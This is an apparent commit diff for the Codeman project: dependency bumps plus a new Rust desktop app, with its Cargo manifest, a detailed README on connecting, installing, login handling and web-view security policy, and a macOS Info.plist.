"node_modules/playwright": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.60.0.tgz",
"integrity": "sha512-hheHdokM8cdqCb0lcE3s+zT4t4W+vvjpGxsZlDnikarzx8tSzMebh3UiFtgqwFwnTnjYQcsyMF8ei2mCO/tpeA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright/-/playwright-1.64.1.tgz",
"integrity": "sha512-HCrVhHr5QQuwYoswEUGTb7gGp522yflbv/ST8nF4sFWGuLjQCt17Q/EubpGGSNKYn1tsTCPZxqHhHCfVURu7UA==",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
"playwright-core": "1.60.0"
"playwright-core": "1.64.1"
},
"bin": {
"playwright": "cli.js"
},
"engines": {
"node": ">=18"
},
"optionalDependencies": {
"fsevents": "2.3.2"
"node": ">=20"
}
},
"node_modules/playwright-core": {
"version": "1.60.0",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.60.0.tgz",
"integrity": "sha512-9bW6zvX/m0lEbgTKJ6YppOKx8H3VOPBMOCFh2irXFOT4BbHgrx5hPjwJYLT40Lu+4qtD36qKc/Hn56StUW57IA==",
"version": "1.64.1",
"resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.64.1.tgz",
"integrity": "sha512-BC4s8y6SEVA6Q1rSxZTto8hI1KUI3xXlHGZgvGqP4IqPdI/a6FX9H29IDNz7vKo9l21b6LfYosScPL6M3xxyDQ==",
"dev": true,
"license": "Apache-2.0",
"bin": {
"playwright-core": "cli.js"
},
"engines": {
"node": ">=18"
}
},
"node_modules/playwright/node_modules/fsevents": {
"version": "2.3.2",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
"integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
"dev": true,
"hasInstallScript": true,
"license": "MIT",
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
"node": ">=20"
}
},
"node_modules/pngjs": {
+2 -2
View File
@@ -1,6 +1,6 @@
{
"name": "aicodeman",
"version": "1.46.0",
"version": "1.49.0",
"description": "Self-hosted mission control for AI coding agents: run Claude Code, Codex, OpenCode, Gemini, DeepSeek, Grok and more 24/7 in tmux, from any device.",
"mcpName": "io.github.Ark0N/codeman",
"type": "module",
@@ -133,7 +133,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
+2
View File
@@ -0,0 +1,2 @@
target/
dist/
+3134
View File
File diff suppressed because it is too large. Load diff
+87
View File
@@ -0,0 +1,87 @@
[package]
name = "codeman-desktop"
version = "0.1.0"
edition = "2021"
rust-version = "1.90"
description = "Codeman Desktop: a small native window for a Codeman server"
license = "MIT"
publish = false
[[bin]]
name = "codeman-desktop"
path = "src/main.rs"
[dependencies]
# Window + event loop (tao), the system web view (wry: WKWebView on macOS,
# WebView2 on Windows, WebKitGTK on Linux) and native menus (muda). Tauri is
# built on these three; using them directly keeps the app small and gives us
# `load_url_with_headers`, which Tauri's navigate() does not have (see README).
tao = "0.37"
wry = { version = "0.57", features = ["devtools"] }
muda = "0.21"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
url = "2"
base64 = "0.22"
dirs = "6"
# The reachability probe. platform-verifier = the OS trust store, the same one
# WKWebView uses, so the probe and the window agree on which certificates pass.
ureq = { version = "3", features = ["platform-verifier"] }
[target.'cfg(target_os = "macos")'.dependencies]
security-framework = "3"
# JavaScript dialogs, HTTP Basic challenges, clearing cookies and the window's
# content size (src/macos.rs). The versions wry already pulls in, so no new
# crate is added.
objc2 = { version = "0.6.5", default-features = false, features = ["std"] }
block2 = { version = "0.6.2", default-features = false, features = ["std"] }
objc2-foundation = { version = "0.3.2", default-features = false, features = [
"std",
"objc2-core-foundation",
"block2",
"NSDate",
"NSGeometry",
"NSObject",
"NSOperation",
"NSRange",
"NSSet",
"NSString",
"NSURL",
"NSURLAuthenticationChallenge",
"NSURLCredential",
"NSURLProtectionSpace",
"NSURLRequest",
"NSURLResponse",
"NSURLSession",
] }
objc2-app-kit = { version = "0.3.2", default-features = false, features = [
"std",
"objc2-core-foundation",
"NSAlert",
"NSApplication",
"NSButton",
"NSControl",
"NSResponder",
"NSTextField",
"NSView",
"NSWindow",
] }
objc2-web-kit = { version = "0.3.2", default-features = false, features = [
"std",
"block2",
"objc2-app-kit",
"WKFrameInfo",
"WKNavigationDelegate",
"WKSecurityOrigin",
"WKUIDelegate",
"WKWebView",
"WKWebsiteDataRecord",
"WKWebsiteDataStore",
] }
[profile.release]
opt-level = "s"
lto = true
codegen-units = 1
strip = true
panic = "abort"
+360
View File
@@ -0,0 +1,360 @@
# Codeman Desktop
A small native app that opens Codeman in its own window. Double-click it, and
it runs Codeman on this Mac (installing it first if it is not there) or
connects to Codeman on another machine (installing it there over SSH if
needed), and Codeman fills the window. `⌃⌘F` puts it in full screen.
macOS first: the app runs on 11.3 or later, and Codeman's own page needs the
WebKit of Safari 16.4 (see Known limits). The same code is meant to build for
Windows and Linux later.
- **Size:** 4.6 MB for the universal `Codeman.app` (Apple Silicon + Intel), 3 MB as a `.dmg` (measured on the first build).
- **Stack:** Rust with [tao](https://crates.io/crates/tao) (window and event loop),
[wry](https://crates.io/crates/wry) (the system web view: WKWebView on macOS) and
[muda](https://crates.io/crates/muda) (native menus), plus [objc2](https://crates.io/crates/objc2)
for the two things wry leaves out on macOS (JavaScript dialogs, HTTP Basic login).
No bundled browser and no Node in the app.
- **Server:** unchanged. The app is a client of Codeman's web UI, like a browser tab.
## Why it is cheap
Codeman is already a web app, so the desktop app is a native window around the
operating system's own web view. An Electron build of the same thing would ship
a whole Chromium (around 150 MB). The native side only adds what a browser tab
cannot do.
## What it does (v0.1)
| | |
| --- | --- |
| **This Mac** | The connect screen's first tab looks for Codeman on this Mac and offers what fits: *Open Codeman* when it runs, *Start Codeman* when it is installed but stopped, *Install Codeman on this Mac* when it is not there. The address comes from Codeman's LaunchAgent (port, sub-path, HTTPS). The tab also finds every Codeman server of yours that already runs on this Mac (with `ps` and `lsof`: a `codeman web --port 4000` in a terminal, a beta instance beside the installed one) and recommends connecting to it. Each one's address is worked out from its listening socket and its command line (`127.0.0.1` for a bind to loopback or to every interface, its own address for a bind to one, `https` with `--https`, the path of `--base-url`), and each is asked once whether Codeman answers there. When nothing answers at the usual address (the LaunchAgent's, or `http://127.0.0.1:3000` without one), *Open Codeman* is for the first found server that does; when none of them can be opened, the tab says *Codeman is already running on this Mac* and lists them. Next to a Codeman that answers, the others are listed under *Also running on this Mac*. A row shows the address, the version, and a *Connect* button, or the reason the app cannot open that one (HTTPS with Codeman's own certificate, no answer). *Connect* is the connect of the Another machine tab with that address filled in: the same check, the login saved for it, the same entry under recent servers. Finding a server connects to nothing by itself. The tab never offers to start a second server, which would take over the first one's sessions, and Start refuses while one runs. A server that runs but listens nowhere yet (the first seconds after login, a restart) shows as *starting*: the tab looks again every second and, when a connect to this Mac had just been refused, opens Codeman once it is up. Start asks launchd to run the LaunchAgent (`kickstart`, or `bootstrap` when it is not loaded), so the server keeps its own settings and supervision; without a LaunchAgent it runs `codeman web -d`. The login comes from where Codeman keeps it: the LaunchAgent's `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`, else `~/.codeman/.env` (what Codeman's command-line clients read), `admin` by default. It goes only to `127.0.0.1` on that Codeman's port, only while one of your own Codeman processes holds that port, is never saved to the Keychain, and never reaches the page. Whether Codeman is installed is looked up in its files and processes, then the login shell; the interactive profile (nvm in `.zshrc`, say) only on *Check again*. Install sets Codeman up from the app itself, with no Terminal and no password (see Decisions). It fetches the installer, asks it what is on this Mac, then asks two things: which coding agent to install, only when this Mac has none (the list comes from the installer, and *Skip for now* is there), and who can reach Codeman (this Mac only, or the local network with a password). A checklist follows the install, the installer's output is one click away, and Cancel stops it; installing again picks up where it stopped. Codeman runs as a LaunchAgent, so it keeps running when the app quits and starts at login. Port 3000 is used unless something else answers there, then the next free one. Closing the app does not stop an install: it runs on its own, and the app picks it up when it opens again. When it is done the app looks every 3 seconds and opens Codeman as soon as it answers; it stops looking after the first answer, after 30 minutes, or 90 seconds after a finished install whose server never answered (then it offers Start). *Install in Terminal instead* runs the installer in a Terminal window, for what the app cannot do (see Known limits): it may ask for the Mac password (Homebrew) and asks its own questions there. The app offers it by itself on a Mac where the graphical install cannot finish. An install still running in Terminal is recognized by its process, so the tab waits for it instead of offering Install twice. *Add a coding agent*, on this tab and in the app menu whenever Codeman is on this Mac, is the same chooser after the install: pick one agent, watch it install, open Codeman. It needs no password, leaves a running Codeman alone, and can be cancelled or left running like an install. After *Skip for now* the app says Codeman has no agent yet and offers this before it opens Codeman. |
| **Another machine** | The second tab connects to a server by address (below). *Codeman is not installed there yet?* opens Terminal, connects with `ssh -t` and runs Codeman's installer on that machine, which asks its questions there; the app then suggests `http://<host>:3000` and the installer prints the real address at the end. The SSH login is checked to the characters of a user and host name (no option can be slipped in) and may carry a `:port`. The remote command runs under `bash -o pipefail`, so a failed download fails the install instead of reporting success. The same tab shows the one-line install command, with a Copy button, to run on a machine by hand. |
| **Connect screen** | Server address, recent servers, a login for password-protected servers (password kept in the macOS Keychain), auto-connect at launch. An address typed without `http://` or `https://` gets `http://`, except a tailnet name with no port (`machine.tailnet.ts.net`, which is `tailscale serve`), which gets `https://`. It explains each failure: nothing listening; wrong password; too many failed logins (the password field stays open, since a single-user Codeman accepts the right password even then); unknown host name; an address this Mac cannot reach (with a pointer to the Local Network setting); an `http://` address on a port that only speaks HTTPS; an untrusted certificate; a redirect, with a button for the suggested `https://` address; not a Codeman server. A multi-user account that must change its password connects, and Codeman's own dialog asks for the new one. If the server page has not started showing within 15 seconds, or you press Cancel while it opens, the connect screen comes back with a notice. A login that would cross the network over plain `http://` to another machine says so. Return opens or starts the Codeman on this Mac (or connects to the one found here, when that is the tab's main button) and Esc cancels a connect, as in a Mac dialog (Install always takes a click). On a Mac whose WebKit is too old for Codeman it says so and Connect stays off (see Known limits). |
| **Start Codeman** | On the This Mac tab, and when `http://127.0.0.1:<port>` or `http://localhost:<port>` answers nothing, one click runs `codeman web -d` (or `~/.codeman/app`) with your login shell's environment, so the server gets your real PATH (Homebrew, nvm) for the agents it spawns. zsh, bash and other POSIX shells run the start themselves; fish, nu, xonsh, tcsh and other shells only report their environment, and the start runs under `/bin/sh` with it. Offered for those two addresses only: `codeman web -d` listens on 127.0.0.1. |
| **Login** | The app answers the server's HTTP Basic login requests itself, with the login you connected with, so the page keeps working after the server restarts (a restart forgets every session cookie). It answers only for Codeman's own pages under the server's base path: a web tab or a rendered HTML file that asks for a Basic login of its own is left to WebKit and never gets your Codeman password. WebKit keeps no copy of the login, so every request for it gets the current one. Each connect first clears the app's cookies, so connecting to the same server as another user really switches users (local storage, where Codeman keeps its per-device settings, stays; a dashboard in a web tab that keeps its own login in a cookie may ask for it again). A page that still gets a 401 reloads once. If the server refuses the login (the password was changed, say), the app does not keep sending it: it checks it with a single probe, and only if the server refuses that too does the connect screen come back with a notice. That does not take focus from the app you are in: if Codeman is in the background, its Dock icon bounces. |
| **Dialogs** | Codeman's `confirm()`, `prompt()` and `alert()` (Delete case, Kill all sessions, Update Codeman, discarding unsaved edits, ...) show as native macOS dialogs. wry implements none of them, and without them WKWebView answers Cancel without showing anything. Each dialog's first line names the page it comes from, and says so when that is an embedded frame (a web tab, a rendered HTML preview), so a frame cannot pass its text off as Codeman's. |
| **Full screen** | `⌃⌘F` or the green button. The last state is restored at launch; *Always Open in Full Screen* forces it. Leaving full screen returns to the saved window size and position. |
| **Menus** | A real Edit menu (without one, `⌘C`/`⌘V` do nothing in a WKWebView), Reload `⌘R`, Switch Server `⇧⌘O`, Developer Tools `⌥⌘I`. The page sees every key first, so Codeman's own shortcuts keep working. If the main window ends up showing a raw file instead of Codeman, `⌘R` takes it back to Codeman. |
| **Pop-outs** | Implements Codeman's existing native-wrapper bridge, `window.CodemanHost` (`openInHostWindow` in `src/web/public/app.js`), so popping out a session or a file preview opens a real app window, and the pop-out icon is on by default. Session and rendered-HTML pop-outs come only from Codeman's own pop-out button. A `window.open` from page script opens only Codeman's file and download windows, without taking keyboard focus, at most 3 at once and then 1 per second. Only Codeman's own pop-out pages become app windows (see Decisions); when the app refuses one, Codeman shows a toast. Each pop-out opens a step down and to the right of the window in use, never exactly on top of another one. A web tab's *Open in new tab* opens the dashboard in your default browser, as it would from a browser tab. |
| **Links** | On Codeman's own pages (the dashboard and session windows), a link to another site opens in your default browser, also on `⌘`-click or a middle click. Pages can send at most 3 links to the browser at once, then 1 per second. Inside a rendered HTML preview or a web tab, a plain link to another site does nothing, while one that asks for a new window (`target="_blank"`, `window.open`) opens in your default browser within the same budget (see Known limits). |
| **Downloads** | Codeman's Download links, and downloads Codeman opens in a new window, save the file to `~/Downloads` whatever its type, and a toast in Codeman names the file. Files the web view cannot display are saved the same way. |
| **A page that stops** | When the web content process of a window ends (a WebKit crash, or macOS taking the process back under memory pressure), the window loads its page again instead of staying blank. A second time within 30 seconds, the main window goes back to the connect screen and a pop-out closes, so a page that cannot stay up never becomes a reload loop. |
| **Window** | Size, position and full-screen state are remembered. A saved window that hangs off the screen it opens on (it was last on a larger display that is gone, say) is pulled back on and shrunk to fit; one whose title bar is on no screen at all opens at the default size instead. Clicking the Dock icon brings back a minimized window. |
## Build (on a Mac)
Needs Rust 1.90 or newer ([rustup](https://rustup.rs); `rustup update` for an older
toolchain) and the Xcode Command Line Tools (`xcode-select --install`).
```bash
cd packages/desktop
cargo test # unit tests
./scripts/bundle-macos.sh # dist/Codeman.app for this Mac's architecture
./scripts/bundle-macos.sh --universal --dmg # Apple Silicon + Intel, plus dist/Codeman-<version>.dmg
open dist/Codeman.app
```
The connect page has its own test, which needs no Mac: from the repository
root, `npm run test:browser -- test/desktop-connect-page.browser.test.ts` drives
`assets/connect.html` in Chromium through every state of both tabs, under the
Content-Security-Policy the app serves it with. It is part of the nightly
browser suite, not of `npm test`.
To try a change to `install.sh` before it is merged, build with
`CODEMAN_DESKTOP_INSTALLER_URL` (where to get the installer) and
`CODEMAN_DESKTOP_INSTALL_BRANCH` (the branch it installs from) set. Both are
read at compile time: a shipped app cannot be pointed at another installer.
The script builds with `--locked` against the committed `Cargo.lock`, targets
the macOS version in `macos/Info.plist` (`LSMinimumSystemVersion`, 11.3), and
takes the binary from where cargo says it wrote it, so `CARGO_TARGET_DIR` and a
cargo config's `build.target-dir` work.
Settings live in `~/Library/Application Support/Codeman/desktop.json`; passwords
in the Keychain under *Codeman Desktop*, one item per username and server. A
`desktop.json` the app cannot read or parse is moved aside, never overwritten:
to `desktop.json.corrupt`, or to the first free name of `desktop.json.corrupt.1`
to `.corrupt.9` when that one is taken, so an earlier copy is kept. If all ten
names are taken, or the file cannot be moved, the app starts with default
settings and saves nothing, which leaves the file where it is. When a server's
username changes (a change of letter case counts), or a server drops off the
recent list (it keeps 8), the Keychain item of the old username is deleted.
## Decisions, and why
**tao + wry + muda directly, not Tauri.** Tauri is built on the same three crates.
The deciding detail is login: Codeman's password protection is HTTP Basic, and
a WKWebView shows no login dialog of its own (wry 0.57 implements no
authentication-challenge handler). So the app sends the `Authorization` header
itself on the first load, with wry's `load_url_with_headers` (Tauri 2.12's
`navigate()` takes only a URL), and from then on answers the HTTP Basic
challenges of Codeman's own pages with the current login. Codeman keeps its
session cookies in memory, so after a server restart that answer is what keeps
the page logged in. Using the crates directly is also smaller.
**What wry leaves out is added at runtime, not patched in.** `src/macos.rs` adds
the JavaScript dialog methods and the authentication-challenge method to the
classes of wry's own delegates, so wry stays an unmodified crates.io dependency.
**What a page may ask of the app** (all in `src/policy.rs`, unit-tested):
- Codeman shows content it did not write on its own origin: rendered HTML files
(`/html-view/`) and proxied dashboards (`/webview/`). Only Codeman's own app
shell (the dashboard and a session pop-out) may use `window.CodemanHost`.
That is an allowlist on the raw path, and a path holding any `%` fails it, so
an encoded spelling or a route Codeman adds later stays out.
- An app window opens only for Codeman's own pop-out pages under the server's
base path, checked after decoding the path once, and which ones depends on
who asks. `window.CodemanHost` (the app shell only) may open sessions,
rendered HTML views, the raw, preview, attachment and folder file routes, the
path picker's preview and `api/download`. A `window.open` or `target=_blank` link, which WebKit passes
on from any frame without saying which, gets only the file routes and
`api/download`, the pages Codeman itself opens that way; otherwise a rendered
HTML file could open copies of itself as top-level windows that pass for the
app's own. Such a window does not take keyboard focus, and these windows
have a budget of their own (3 at once, then 1 per second), apart from the
one links draw on. Any other page on the server's origin is refused rather
than sent to the browser: a top-level `/webview/` load would escape the web
tab's iframe sandbox in either place, so it never opens anywhere.
`window.open('')` is refused too, since WebKit's blank window carries none of
the app's handlers.
- wry's navigation handler sees every frame and does not say which one. So a
navigation to another site is blocked rather than opened in the browser;
otherwise a page full of external iframes could open browser tabs. A real
link click is sent out by the injected script in the main frame only.
- Only `http(s)` URLs ever reach the default browser, at most 3 at once and
then 1 per second. macOS lets a page call `window.open` without a click, so
this keeps a script from opening a browser tab for every call.
- The `Authorization` header is only sent to URLs under the server's base path.
The login answers a Basic challenge only when it is Codeman's own: the
server's scheme, host and port (never a proxy's), a URL below the base path,
and not a web tab (`webview/`) or a rendered HTML file (`html-view/`), which
relay 401s from content Codeman did not write. Only such a challenge can
send the user back to the connect screen. WebKit is handed the login without
persistence, so it keeps no copy: every challenge gets the current login,
and one from before a Switch Server is never replayed.
- Each connect starts by clearing the app's cookies (never local storage).
Codeman checks its session cookie before the `Authorization` header, so an
earlier user's cookie would otherwise win over the new login.
- Microphone and camera requests prompt per page. wry's default without a
handler is to grant them to every frame, sandboxed previews included.
- The bundled connect page keeps working until a server page commits in the
main window (it is still the live page while the server loads), and only
the main window may talk to it.
- `codeman web -d` gets the port and base path as separate arguments, never as
shell text.
**The app runs the installer itself; Terminal is the fallback.** `install.sh
--no-admin` puts Node.js and tmux in the home folder, so a This Mac install needs
no password and therefore no terminal, and the two questions only a person can
answer arrive as flags (`src/gui_install.rs`). The app downloads the installer
once to a private folder, asks it what is on this Mac (`install.sh preflight`,
which prints JSON and changes nothing) and draws its choices from that answer.
So the app has no list of coding agents of its own: a new one appears without a
new app, and the list always matches what the installer can really install
here. The installer runs with the login shell's environment, so it finds what
this person already has. The page sends only the agent's id, whether other
devices may reach Codeman, and that password; the password reaches the
installer through its environment, never its command line, where `ps` shows it.
**The install outlives the app.** Its output goes to a file, never a pipe, and
it runs in a process group of its own. With a pipe, quitting the app would kill
the installer at its next write; in the app's group, launchd would kill it with
the app. The file holds the whole run, so a page that was reloaded, or an app
that was opened again, finds the process in `ps` and replays the file from the
first line. That is why the app keeps no state about a run. A run that ends
without the installer's last `done` line failed, and the first error it reported
is the one shown: the ones after it are consequences.
**Adding an agent is a run of its own.** `install.sh agent <id>` installs one
agent and touches neither Codeman nor its service, so it may run next to a live
server, which an install must refuse: the installer's service step would replace
that server under its sessions. It has its own temporary folder, so `ps` tells the
two apart: everything that reads a running install takes it to mean "Codeman is
being installed", which an agent run does not. One run goes at a time, since both
can write to the runtime folder. It asks `preflight` for the list like an install
does, and both pass `--no-admin`: that flag decides which agents count as
installable, so without it on both the page could offer one the run refuses. The
menu item is on the connect page because that is where the app may run things:
from a Codeman page it leaves the page the way *Switch Server* does.
**Terminal stays for what the app cannot do.** The route with Homebrew asks for
the administrator password on a terminal, the Xcode tools arrive as a system
dialog, and ssh asks about host keys and passwords on a terminal too. The app
writes a short script to the per-user temporary folder (mode 0700, created
fresh, deleted by the script as it starts) and opens it with `open -b
com.apple.Terminal`, which needs no permission; scripting Terminal with
osascript would ask for Automation access. The script prints what it runs. A
This Mac install downloads the installer to a temporary file and runs it from
there, so the installer's input is the terminal. Everything in the scripts is
built and unit-tested in `src/setup.rs`; the page sends only which install it
wants, whether other devices should reach it, and the SSH login, which is
checked before it is quoted.
**This Mac's own login comes from where Codeman keeps it.** A Codeman
installed with a password keeps it in its LaunchAgent (`install.sh`) or in
`~/.codeman/.env` (what `codeman attach`, `codeman tui` and `codeman agent`
read). The app reads the same places, so a password-protected Codeman on this
Mac opens without typing the password. The username and password always come
from the same place, since the server reads its username from its own
environment. The login goes only to `127.0.0.1` on that Codeman's port, and
only while `lsof` shows one of your own Codeman processes holding that port:
with Codeman stopped, whatever else listens there never gets it.
**Never a second server on the same sessions.** Two Codeman servers on one
data directory and tmux socket attach to each other's live sessions, and
`codeman web -d` only notices a server it started itself or one at the same
address. So the app looks for running Codeman servers of this user (`ps`)
before it offers or runs a start, and offers to connect to the ones it finds
instead (`found_addresses` in `src/setup.rs`, unit-tested).
**Closing the main window quits the app.** Codeman's sessions keep running on
the server, so nothing is lost, and reopening takes about a second.
**One reachability probe per user action, and one to check a refused login.**
Codeman counts a request without valid credentials against its login rate
limit (10 per IP, 15 minutes; a successful login resets the count), so the app
never retries in a loop. A look at this Mac asks each Codeman server found
here once; the app has a login only for the one at the usual address, so the
others are asked without one. Once the server refuses the login in a challenge, the
app sends it only once more, in the single probe that checks the refusal. If
that probe is refused or rate limited, the connect screen comes back; the
app does not send the refused login again. Keeping no copy of the login in WebKit has a cost here: after a server
restart, each request that arrives without a cookie gets a 401 before the
login goes out, and those count until one succeeds. Many windows reconnecting
at once can push a request past 10, and that request then fails with a 429
instead of being answered. A refusal that lands while you are in another app
does not bring Codeman forward: the connect screen loads where the window is,
and the Dock icon bounces.
## Known limits
- **A new agent can take a few minutes to show up in a running Codeman.** The
server remembers that a CLI is missing, for up to 5 minutes after it last looked
(`cliResolveRetryDelayMs`), so that a status poll never spawns a login shell. The
app cannot clear that from outside, so the screen after *Add a coding agent* says
so. An open Codeman page also needs a reload, because the list of installed
agents is part of the page.
- **Agents the app can add are the ones `--no-admin` can install.** OMP's macOS
install is Homebrew, so it is not offered, also on a Mac that has Homebrew.
- **Agents that install with npm use whichever Node.js the login shell finds.**
With the Node.js the installer downloaded, or Homebrew's, that folder is yours.
The nodejs.org installer leaves `/usr/local/lib/node_modules` to root, so those
agents would be expected to fail there, with npm's permission error shown, while
the ones with their own installer still work. This has not been tried.
- **Only your own Codeman servers on this Mac are found, by their command
line.** A server another macOS user runs, or one in a container or a virtual
machine, is not listed: connect to it by address under Another machine. A
base path that a server started by hand has only in its environment
(`CODEMAN_BASE_URL`) is not visible either, so its row has the address
without the path; the LaunchAgent's base path is read from its job.
- **A found server that is slow to answer shows as not answering.** Next to a
Codeman that answers, each other server gets two seconds (five when nothing
answers at the usual address). A password-protected one counts the
look as a failed login, like any look at a server the app has no login for.
*Check again* asks again.
- **Self-signed HTTPS is refused.** A server started with `codeman web --https`
uses a self-signed certificate, and WKWebView rejects it (wry has no trust
override). Use `http://127.0.0.1:3000` for a server on this Mac. For another
machine, serve Codeman through `tailscale serve`
(`https://<machine>.<tailnet>.ts.net` has a real certificate) or a reverse
proxy with a real certificate. Marking the certificate as trusted in
Keychain Access can only help at `https://localhost` or `https://127.0.0.1`,
the only names Codeman's certificate carries, and may not work even there.
The connect screen says so when it happens.
- **Keychain prompt after every rebuild of an ad-hoc build.** The Keychain
knows the app that saved a password by its code signature, and an ad-hoc
signature changes with every build and update. So each new build asks once
for access to the saved passwords: choose *Always Allow*. All Keychain work
runs on one background thread, so the prompt does not freeze the window
while it waits for an answer. To keep one identity across builds, sign with
`SIGN_IDENTITY` (a self-made code-signing certificate from Keychain Access
is enough). Microphone and camera permissions are asked again for the same
reason.
- **Gatekeeper.** Without a Developer ID the app is signed ad hoc. A build you
made yourself opens normally; a copy that arrived by download or AirDrop is
quarantined. On macOS 15 and later, try to open it once, then click *Open
Anyway* in System Settings > Privacy & Security (it asks for an administrator
password). On macOS 14 and earlier, right-click it and choose *Open* once.
Either way, `xattr -dr com.apple.quarantine /Applications/Codeman.app` on the
copy in Applications works too. Shipping it to other people needs a Developer
ID signature and notarization:
`SIGN_IDENTITY="Developer ID Application: ..." ./scripts/bundle-macos.sh --dmg`,
then `xcrun notarytool submit` and `xcrun stapler staple`.
- **Local Network permission (macOS 15 and later).** The first connection to an
address on the local network (a LAN IP, a `.local` name) makes macOS ask
whether Codeman may use the local network, and that first attempt can fail
while the question is open: connect again after answering. If it was denied,
turn Codeman on in System Settings > Privacy & Security > Local Network. A
server started with *Start Codeman on this Mac* counts as part of the app
here, so the same answer covers what it reaches on the local network (ssh to
LAN hosts, Wake-on-LAN, web tabs pointing at LAN dashboards), also after the
app quits.
- **Subagent transcript windows do not open in the app.** Codeman writes that
view into a blank `window.open('')` window, which the app refuses (see
Decisions), and shows a toast instead. A Codeman without the null check in
`viewSubagentTranscript` (`src/web/public/panels-ui.js`) reports *Failed to
load transcript* there. Open the transcript from a browser tab.
- **Dialogs are app-modal.** While a JavaScript dialog is open, every Codeman
window waits for it. A page that calls `alert()` in a loop (a rendered HTML
preview or a web tab can) leaves no way out but Force Quit (`⌥⌘⎋`).
- **Codeman needs the WebKit of Safari 16.4.** The app itself runs on macOS
11.3 or later (downloads go through WKDownload, which arrived in 11.3), but
Codeman's terminal (xterm.js 6 uses class static blocks) needs the WebKit
that came with Safari 16.4: macOS 13.3, or macOS 11 or 12 with Safari 16.4
or later installed. On an older WebKit the connect screen says so and does
not connect. Session pop-outs also need BroadcastChannel (Safari 15.4),
which the same requirement covers.
- **Plain links in rendered HTML and web tabs do not open.** A link to another
site inside a rendered HTML preview or a web tab does nothing, in the
preview overlay, and for a rendered HTML file in its pop-out window too: the
app blocks navigation to other sites in every frame (see Decisions). A link
there that asks for a new window (`target="_blank"`, or a script's
`window.open`) does open, in your default browser, within the budget of 3 at
once and then 1 per second.
- **No login dialog for a web tab's own HTTP Basic login.** The app answers
only Codeman's own login, and WebKit shows no dialog for any other, so a
dashboard in a web tab that asks for HTTP Basic shows its 401 page.
- **Downloads from previews and web tabs are saved without asking.** Rendered
HTML files and web tabs are allowed to start downloads, and the app saves
every download to `~/Downloads` without a prompt. Asking first for those
frames is not done yet.
- **No desktop notifications yet.** WKWebView has no Web Notification API.
Native notifications are the first item on the list below.
- **No service worker.** Codeman works without it; it is only an offline cache.
- **The graphical install needs macOS 15, or a tmux that is already there.**
tmux comes from the tmux project's own builds, which need macOS 15. On an
older Mac without tmux the app says so and offers Terminal, where Homebrew
installs it (that takes an administrator once).
- **Who can reach it stops at the local network.** Tailscale needs its own
login and setup, which the installer does at a terminal. Choose *Install in
Terminal instead*, or run `install.sh tailscale` later.
- **The agent is chosen during the install.** With Codeman already installed,
or after *Skip for now*, an agent is added by hand: its commands are in the
installer's closing notes and in [Installing an agent CLI](../../docs/wiki/Installation.md#installing-an-agent-cli).
- **An agent only your interactive profile finds counts as missing.** The app
reads the login shell's environment, without `.zshrc`, so a CLI on an nvm
PATH set up there is offered again as if it were not installed. Installing
it again is harmless; *Skip for now* leaves it as it is.
- **Installing from the app is macOS only so far**, and installing on another
machine needs ssh access to it and `curl` or `wget` there. The app does not
know when a remote install is done or which address it chose: the installer
prints the address, and you connect to it under Another machine.
- **A This Mac install always sets Codeman up as a LaunchAgent** that starts
at login. To stop it: `launchctl unload ~/Library/LaunchAgents/com.codeman.web.plist`;
to remove Codeman: `curl -fsSL https://getcodeman.com/install | bash -s -- uninstall`.
- **Windows and Linux** need their menu hookup (`init_for_hwnd`, GTK), a
credential store (Credential Manager, Secret Service) and installers. The
rest of the code is platform-neutral.
## Ideas for next
- Native notifications and a Dock badge with the number of sessions waiting
for you (tao has `set_badge_label`; Codeman already tracks which sessions need input).
- A global hotkey that brings Codeman to the front from anywhere.
- A menu bar icon showing session states.
- Trusting a self-signed server certificate by its fingerprint.
- Asking before a download that a rendered HTML file or a web tab starts.
- A way out of a page that keeps opening dialogs (a "block further dialogs" option).
- Windows and Linux builds, a CI job that builds the `.dmg`, notarization, auto-update.
File diff suppressed because it is too large. Load diff
Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

+59
View File
@@ -0,0 +1,59 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleName</key>
<string>Codeman</string>
<key>CFBundleDisplayName</key>
<string>Codeman</string>
<key>CFBundleIdentifier</key>
<string>com.getcodeman.desktop</string>
<key>CFBundleVersion</key>
<string>__VERSION__</string>
<key>CFBundleShortVersionString</key>
<string>__VERSION__</string>
<key>CFBundleExecutable</key>
<string>codeman-desktop</string>
<key>CFBundleIconFile</key>
<string>Codeman</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<!-- 11.3 is where WKDownload arrived; wry saves files through it. Below
that a Download link replaces the window or saves nothing.
scripts/bundle-macos.sh builds for this version too. -->
<key>LSMinimumSystemVersion</key>
<string>11.3</string>
<key>LSApplicationCategoryType</key>
<string>public.app-category.developer-tools</string>
<key>NSHighResolutionCapable</key>
<true/>
<key>NSSupportsAutomaticGraphicsSwitching</key>
<true/>
<key>NSHumanReadableCopyright</key>
<string>MIT License, Codeman Contributors</string>
<!-- Voice dictation and gesture control ask for these; without the
strings macOS kills the app the first time a page requests them. -->
<key>NSMicrophoneUsageDescription</key>
<string>Codeman uses the microphone for voice dictation when you turn it on.</string>
<key>NSCameraUsageDescription</key>
<string>Codeman uses the camera for hand-gesture control when you turn it on.</string>
<!-- macOS 15 asks before an app reaches the local network (a LAN address,
a .local name), and shows this text in that question. A process the
